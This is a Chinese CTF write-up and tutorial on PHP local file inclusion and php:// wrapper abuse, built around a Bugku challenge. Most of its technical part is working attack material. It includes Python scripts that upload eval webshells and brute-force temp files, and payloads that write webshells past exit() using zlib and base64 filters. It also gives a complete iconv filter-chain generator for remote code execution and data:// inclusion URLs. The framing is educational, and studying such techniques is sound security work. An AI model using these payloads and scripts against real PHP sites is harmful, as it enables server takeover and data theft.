初步探索 首先我们看到了一个界面
只有一个链接到”./post/index.php?file=show.php”
点进去之后只显示test5
查看源代码之后也找不到头绪SQL 注入也没用
查找writeup 结果:
直接显示出网页源代码的Base64 编码
拿去编码之后得出结果
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 <html > <title > Bugku-ctf</title > <?php error_reporting (0 ); if(!$_GET[file]){echo '<a href="./index.php?file=show.php">click me? no</a>';} $file=$_GET['file']; if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){ echo "Oh no!"; exit(); } include($file); //flag:flag{edulcni_elif_lacol_si_siht} ?> </html >
flag{edulcni_elif_lacol_si_siht}
PHP伪协议知识 这道题用了PHP伪协议知识,PHP伪协议,实质上就是支持的协议与封装协议
支持的有12 种
file:// — 访问本地文件系统
http:// — 访问 HTTP(s) 网址
ftp:// — 访问 FTP(s) URLs
php:// — 访问各个输入/输出流(I/O streams)
zlib:// — 压缩流
data:// — 数据(RFC 2397)
glob:// — 查找匹配的文件路径模式
phar:// — PHP 归档
ssh2:// — Secure Shell 2
rar:// — RAR
ogg:// — 音频流
expect:// — 处理交互式的流
首先说明一下inlude()函数,作用是引用外部文件比如说html,php等等,它对文件的后缀名没有要求而对文件内容有要求,只要是php的内容就会被执行注意是执行而不是显示代码
php://filter 用法:
1 https://www.baidu.com?file=php://filter/...
具体用法:https://www.baidu.com?file=php://filter/read=convert.base64-encode/resource=./index.php https://www.baidu.com?file=php://filter/read=string.rot13/resource=./index.php
第一条是读取当前目录下的index.php文件并且以base64编码,浏览器就不会把PHP代码执行了 第二条跟第一条的区别是把编码方式变成了rot13,但是这种编码方式不会编码<?并且使得内容乱码
更多过滤器:
字符串过滤器
string.rot13 string.toupper string.tolower string.strip_tags(过滤标签)
转换过滤器
convert.base64-encode convert.base64-decode
convert.iconv.utf-8.utf-16be,将utf-8转换为utf-16be
convert.quoted-printable-encode, 打印所有不可见字符
convert.unquoted-printable-encode,打印所有可见字符
convert.iconv.utf-16be.utf-8 ,将utf-16转为utf-8
压缩过滤器
zlib.deflate(压缩) zlib.inflate(解压) bzip2.compress & bzip2.decompress(在本地文件系统中创建 bz2 兼容文件的方法)
加密过滤器
mcrypt.tripledes mdecrypt.tripledes 多个过滤器用|
隔开
php7 segment fault特性 php://filter/string.strip_tags=/etc/passwd php执行过程中出现 Segment Fault,这样如果在此同时上传文件,那么临时文件就会被保存在/tmp目录,不会被删除
例题:https://buuoj.cn/challenges#[NPUCTF2020]ezinclude
例子:
1 2 3 4 5 6 7 8 9 10 11 12 import requestsfrom io import BytesIOimport refile_data={ 'file' : BytesIO("<?php eval($_POST[cmd]);" ) } url="http://d25d00be-1f7f-4fe4-872c-c951e304b522.node3.buuoj.cn/flflflflag.php?file=php://filter/string.strip_tags/resource=/etc/passwd" try : r=requests.post(url=url,files=file_data,allow_redirects=False ) except : print(1 )
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 import requestsimport stringimport itertoolscharset = string.digits + string.letters host = "192.168.43.155" port = 80 base_url = "http://%s:%d" % (host, port) def upload_file_to_include (url, file_content ): files = {'file' : ('evil.jpg' , file_content, 'image/jpeg' )} try : response = requests.post(url, files=files) except Exception as e: print e def generate_tmp_files (): webshell_content = '<?php eval($_REQUEST[c]);?>' .encode( "base64" ).strip().encode("base64" ).strip().encode("base64" ).strip() file_content = '<?php if(file_put_contents("/tmp/ssh_session_HD89q2", base64_decode("%s"))){echo "flag";}?>' % ( webshell_content) phpinfo_url = "%s/include.php?f=php://filter/string.strip_tags/resource=/etc/passwd" % ( base_url) length = 6 times = len(charset) ** (length / 2 ) for i in xrange(times): print "[+] %d / %d" % (i, times) upload_file_to_include(phpinfo_url, file_content) def main (): generate_tmp_files() if __name__ == "__main__" : main()
爆破temp文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 import requestsimport stringcharset = string.digits + string.letters host = "192.168.43.155" port = 80 base_url = "http://%s:%d" % (host, port) def brute_force_tmp_files (): for i in charset: for j in charset: for k in charset: for l in charset: for m in charset: for n in charset: filename = i + j + k + l + m + n url = "%s/include.php?f=/tmp/php%s" % ( base_url, filename) print url try : response = requests.get(url) if 'flag' in response.content: print "[+] Include success!" return True except Exception as e: print e return False def main (): brute_force_tmp_files() if __name__ == "__main__" : main()
护网杯easyphp(zlib.inflate) 1 2 3 4 5 6 $content = $_GET['content' ]; if (preg_match('/iconv|UCS|UTF|rot|quoted|base64|%|toupper|tolower|dechunk|\.\./i' ),$content); die ("hacker" ); if (file_exists($content)) require_once ($content); file_put_contents($content,'<?php exit();' .$content);
简单代码审计一波,可以直接通过file_put_contents函数生成文件,但是有个<?php exit();
所以创建木马也没用,所以需要绕过他,可以通过filter过滤器来进行过滤,通过代码查看发现strip_tags没有过滤,也没有过滤zlib.inflate 因此构造payload
1 2 <?php echo urlencode("?>" .gzdeflate('<?php system($_GET[_]);?>' ))."\n" ;
生成%3F%3E%B3%B1%2F%C8%28P%28%AE%2C.I%CD%D5P%89ww%0D%89%8E%8F%D5%B4%B6%B7%03%00
会发现其中有没有url编码的字符比如.I
没有关系,但是%00
要去掉不然会截断,从而写不了文件 同时使用string.srip_tags
来去除php和html的标签,因为过滤器是从左到右执行的,因此在我们的payload使用zlib解压前不会被去除标签,因此可以构造以下payload
传入_
参数即可执行命令
base64-decode写入(死亡exit) 1 2 3 4 5 <?php show_source(__FILE__ ); $content = '<?php exit; ?>' ; $content .= $_POST['data' ]; file_put_contents($_POST['filename' ], $content);
当可以控制file_put_contents
但是存在phpexit时,可以使用base64-decode过滤流再写入,原理是base64解码时只识别A-Za-z0-9\/\=\+
范围内的字符串,其他解码后为乱码,因此只需要在phpexit
这7个字符的基础上再添加一个字符,后续接上webshell的base64形式即可。
payload:
1 2 filename=php://filter/write=convert.base64-decode/resource=shell.php&data=aPD9waHAgZXZhbCgkX0dFVFsnY21kJ10pOz8+ //PD9waHAgZXZhbCgkX0dFVFsnY21kJ10pOz8+为<?php eval($_GET['cmd']);?>
成功写入payload
终极LFI(利用iconv和base64-decode无文件lfi) 参考地址:https://blog.csdn.net/rfrder/article/details/122326155
脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 <?php $base64_payload = "PD89YCRfR0VUWzBdYDs7Pz4" ; $conversions = array ( 'R' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.MAC.UCS2' , 'B' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.CP1256.UCS2' , 'C' => 'convert.iconv.UTF8.CSISO2022KR' , '8' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2' , '9' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.ISO6937.JOHAB' , 'f' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.SHIFTJISX0213' , 's' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L3.T.61' , 'z' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.NAPLPS' , 'U' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.CP1133.IBM932' , 'P' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.857.SHIFTJISX0213' , 'V' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.851.BIG5' , '0' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2' , 'Y' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UCS2' , 'W' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.851.UTF8|convert.iconv.L7.UCS2' , 'd' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UJIS|convert.iconv.852.UCS2' , 'D' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2' , '7' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.866.UCS2' , '4' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.IEC_P271.UCS2' ); $filters = "convert.base64-encode|" ; $filters .= "convert.iconv.UTF8.UTF7|" ; foreach (str_split(strrev($base64_payload)) as $c) { $filters .= $conversions[$c] . "|" ; $filters .= "convert.base64-decode|" ; $filters .= "convert.base64-encode|" ; $filters .= "convert.iconv.UTF8.UTF7|" ; } $filters .= "convert.base64-decode" ; $final_payload = "php://filter/{$filters} /resource=/etc/passwd&0=id" ; echo ($final_payload);
使用POST上传PHP代码并执行 下面由于服务器过滤了导致无法执行
php其他用法
协议
作用
php://input
可以访问请求的原始数据的只读流,在POST请求中访问POST的data部分,在enctype=”multipart/form-data” 的时候php://input 是无效的。
php://output
只写的数据流,允许以 print 和 echo 一样的方式写入到输出缓冲区。
php://fd
(>=5.3.6)允许直接访问指定的文件描述符。例如 php://fd/3 引用了文件描述符 3。
php://memory php://temp
(>=5.1.0)一个类似文件包装器的数据流,允许读写临时数据。两者的唯一区别是 php://memory 总是把数据储存在内存中,而 php://temp 会在内存量达到预定义的限制后(默认是 2MB)存入临时文件中。临时文件位置的决定和 sys_get_temp_dir() 的方式一致。
file:// file://和php://filter差不多,但是只能写绝对路径
1 https://www.baidu.com?file=file://C:/ProgramFile/1.txt
phar://和zip:// phar://和zip://都可以查找指定压缩包内的文件
phar://可以写绝对路径和相对路径
1 2 https://www.baidu.com?file=phar://C:/ProgramFile/test.zip/1.txt https://www.baidu.com?file=phar://./test.zip/1.txt
而zip://只能写绝对路径
1 https://www.baidu.com?file=zip://./text.zip%231.txt
注意这里的#用于分开压缩包和压缩包文件并且被编码成%23
data:// data和input类似,都可以传入PHP代码执行
data://text/plain1 https://www.baidu.com?file=data://text/plain,<?php echo "flag"; ?>
data://text/plain;base64,1 http://127.0.0.1/include.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b
http://
http可以传入外部链接
1 https://www.baidu.com?file=http://www.google.com
zip:// 使用zip://
后悔自动将这个Zip文件按照压缩时的文件结构进行解析, 通过zip://filename%23shell.php
的形式对Zip内部压缩的文件进行索引
总结 file:// php:/filter 可以访问本地文件(file://要用绝对路径) zip:// phar:// 可以访问压缩文件(phar://可以用绝对和相对路径,zip://只能用绝对路径) php://input data:// 可以传入控制代码(php://input 用POST方法上传,data://直接用url输入就可以)